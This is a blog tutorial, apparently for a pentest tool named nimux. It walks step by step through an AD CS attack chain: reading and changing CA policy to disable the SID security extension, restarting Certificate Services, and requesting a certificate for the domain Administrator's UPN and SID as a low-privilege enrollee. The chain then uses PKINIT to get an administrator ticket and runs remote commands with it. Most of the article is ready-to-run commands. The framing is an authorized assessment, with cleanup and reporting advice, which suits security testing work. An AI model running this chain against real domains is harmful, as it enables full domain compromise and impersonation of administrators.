Back to blog
Aug 9, 202618 min read

Advanced ADCS Policy and PKINIT with nimux

An advanced neutral walkthrough of ADCS policy operations, DisableExtensionList, UPN/SID certificate requests, PKINIT, ccache usage, and cleanup with nimux.

ADCSICertAdminD2PKINITCertificates

Overview

AD CS work becomes interesting when the path moves beyond template inventory and into CA policy, certificate request transport, certificate identity mapping, and Kerberos authentication.

This article walks through an advanced but generic authorized lab workflow using nimux:

  • enumerate AD CS exposure;
  • read and modify CA policy values through ICertAdminD2;
  • disable the Microsoft SID security extension when the test requires SAN-based mapping;
  • restart Certificate Services so the CA reloads policy;
  • request a certificate over RPC with UPN and SID material;
  • write a PFX;
  • authenticate through PKINIT and produce a ccache;
  • use the ccache with a Kerberos-capable execution module;
  • verify and clean up the CA policy state.

The examples use neutral lab names. Replace hostnames, CA names, SIDs, and account names with values from your authorized environment.

Lab assumptions

Domain: corp.local
Realm: CORP.LOCAL
Domain controller: dc01.corp.local
CA name: CORP-CA
Template: User
CA management principal: CORP\ca-manager$
Enrollment principal: CORP\svc_enroll
Target UPN: [email protected]
Target SID: S-1-5-21-1111111111-2222222222-3333333333-500

The CA management principal is used for policy administration. The enrollment principal is used for the certificate request. In many real environments, those permissions are different and should be treated separately in both testing and reporting.

1. Enumerate AD CS state

Start with inventory. This tells you which CAs and templates exist and whether nimux can see common ESC-style conditions.

nimux ldap dc01.corp.local -u operator -p '<password>' -d corp.local --adcs

Use JSON when you want repeatable evidence:

nimux ldap dc01.corp.local -u operator -p '<password>' -d corp.local   --adcs --json > adcs-inventory.json

Review certificate-related account material as well:

nimux ldap dc01.corp.local -u operator -p '<password>' -d corp.local   --cert-inventory --json > cert-inventory.json

Useful questions at this stage:

  • Is the CA reachable from the operator route?
  • Which templates are published?
  • Which templates allow enrollment for the principal you plan to use?
  • Does the CA expose web enrollment?
  • Are certificate mapping attributes already present on sensitive accounts?
  • Is the SID security extension currently enabled or disabled?

2. Read CA policy values

--adcs-policy uses the Certificate Services administration path for CA policy values. The important implementation detail is that nimux talks to the Certificate Services administration interface and verifies readback, instead of pretending that a syntactically successful RPC call means the CA actually changed.

Read EditFlags:

nimux ldap dc01.corp.local   -u 'ca-manager$'   -H '<ntlm_hash>'   -d CORP.LOCAL   --adcs-policy   --ca CORP-CA   --adcs-get-editflags

Read DisableExtensionList:

nimux ldap dc01.corp.local   -u 'ca-manager$'   -H '<ntlm_hash>'   -d CORP.LOCAL   --adcs-policy   --ca CORP-CA   --adcs-get-disable-extension-list

The human output is meant to be readable during an assessment. Use --json if you want fields such as the CA config string, authority, node path, operation type, readback value, entries, and verification status.

3. Disable the SID security extension for a controlled test

When a CA includes the Microsoft SID security extension in issued certificates, Windows can prefer that SID over a SID supplied through SAN URL mapping. If your authorized test requires validating SAN-based mapping behavior, disable the SID security extension OID in DisableExtensionList.

nimux ldap dc01.corp.local   -u 'ca-manager$'   -H '<ntlm_hash>'   -d CORP.LOCAL   --adcs-policy   --ca CORP-CA   --adcs-set-disable-extension-list 1.3.6.1.4.1.311.25.2

Verify the value:

nimux ldap dc01.corp.local   -u 'ca-manager$'   -H '<ntlm_hash>'   -d CORP.LOCAL   --adcs-policy   --ca CORP-CA   --adcs-get-disable-extension-list

The expected readback should include:

1.3.6.1.4.1.311.25.2

4. Restart Certificate Services

Policy values are not always effective until Certificate Services reloads the policy module configuration. If restarting the CA service is in scope, use a controlled service restart and record the exact time.

nimux winrm dc01.corp.local   -u 'ca-manager$'   -H '<ntlm_hash>'   --cmd 'Restart-Service -Name CertSvc -Force; Start-Sleep -Seconds 3; (Get-Service CertSvc).Status'

Expected status:

Running

Keep this action explicit in the report. Restarting a CA is operationally meaningful and should not be hidden inside a larger chain.

5. Request a certificate over RPC

After policy reload, request a certificate with a UPN SAN and SID URL SAN. Use an account that has enrollment rights on the selected template.

nimux ldap dc01.corp.local   -u svc_enroll   -p '<password>'   -d CORP.LOCAL   --adcs-request   --adcs-rpc   --ca CORP-CA   --template User   --upn [email protected]   --sid S-1-5-21-1111111111-2222222222-3333333333-500   --out administrator.pfx

When --out ends in .pfx, nimux writes a PFX and the matching certificate file:

administrator.pfx
administrator.cer

If --out is omitted, nimux derives an output name from the requested identity. During a formal test, passing a clear output name is better because it makes evidence and cleanup easier.

6. Understand certificate identity results

After a request, inspect whether the certificate contains:

  • SAN UPN;
  • SAN URL SID;
  • Microsoft SID security extension;
  • template name;
  • issuer and subject;
  • validity period.

If the security extension SID still appears and differs from the target SID, Windows may use the extension SID for authentication. That means the certificate request succeeded, but the identity mapping result may not be the one you expected.

This is why the policy readback and CertSvc restart matter. Treat the certificate content as evidence, not as an assumption.

7. Generate Kerberos configuration

Create a krb5 config that points directly at the domain controller. This avoids relying on local DNS behavior during PKINIT and later Kerberos operations.

nimux krb5conf dc01.corp.local   -d corp.local   --realm CORP.LOCAL   --out corp.krb5.conf

The file should map corp.local to CORP.LOCAL and set the KDC to the target domain controller.

8. Authenticate with the PFX using PKINIT

Use the requested PFX to obtain a TGT and store it in a ccache:

nimux ldap dc01.corp.local   -d corp.local   --adcs-auth   --upn [email protected]   --pfx administrator.pfx   --ccache admin.ccache   --krb5-config corp.krb5.conf

Check the cache:

klist -c admin.ccache

You should see a default principal for the requested identity and a TGT for the realm.

9. Use the ccache with a Kerberos-capable module

Validate access with a low-impact command first:

nimux scm dc01.corp.local   -k   --ccache admin.ccache   -d corp.local   --krb5-config corp.krb5.conf   --cmd whoami

If the service ticket is already in the ccache, nimux should reuse it. If not, the Kerberos library will request the needed service ticket using the TGT.

If Kerberos fails, check:

  • the ccache path;
  • realm casing;
  • KDC hostname and /etc/hosts;
  • time synchronization;
  • SPN target name;
  • whether the requested certificate maps to the expected account;
  • whether the target protocol accepts the mapped identity.

10. Clear the policy change

After validation, restore the CA policy to the expected state. If the test added only the SID security extension OID, clear the list:

nimux ldap dc01.corp.local   -u 'ca-manager$'   -H '<ntlm_hash>'   -d CORP.LOCAL   --adcs-policy   --ca CORP-CA   --adcs-clear-disable-extension-list

Verify the clear operation:

nimux ldap dc01.corp.local   -u 'ca-manager$'   -H '<ntlm_hash>'   -d CORP.LOCAL   --adcs-policy   --ca CORP-CA   --adcs-get-disable-extension-list

Restart Certificate Services again if required by the environment:

nimux winrm dc01.corp.local   -u 'ca-manager$'   -H '<ntlm_hash>'   --cmd 'Restart-Service -Name CertSvc -Force'

Troubleshooting

Template denied

CERTSRV_E_TEMPLATE_DENIED means the requester does not have enrollment rights on the selected template. CA management rights and template enrollment rights are separate.

Use a principal that can enroll on the template, or validate template ACLs before requesting.

Certificate mismatch

If PKINIT reports that the security extension SID overrides the SAN URL SID, the certificate was issued with a security extension SID that maps to the requester instead of the target. Re-check DisableExtensionList, restart CertSvc, request a fresh certificate, and inspect the new certificate.

KDC error

KDC errors are usually configuration or mapping problems. Check time sync, realm, KDC, /etc/hosts, certificate identity, and whether the target DC can validate the certificate chain.

SMB Kerberos authentication failed

If the ccache contains a TGT but SMB authentication fails, verify that the ccache contains or can obtain cifs/<target> for the exact hostname used in the command. Hostname mismatches are common.

Reporting

A good finding should separate each permission boundary:

  • CA management permission used to change policy;
  • certificate service restart permission;
  • template enrollment permission;
  • certificate identity material produced;
  • PKINIT result;
  • Kerberos service usage;
  • cleanup and restored state.

Do not report only that a certificate was issued. The important issue is the chain of controls that allowed certificate-backed authentication as a more privileged identity.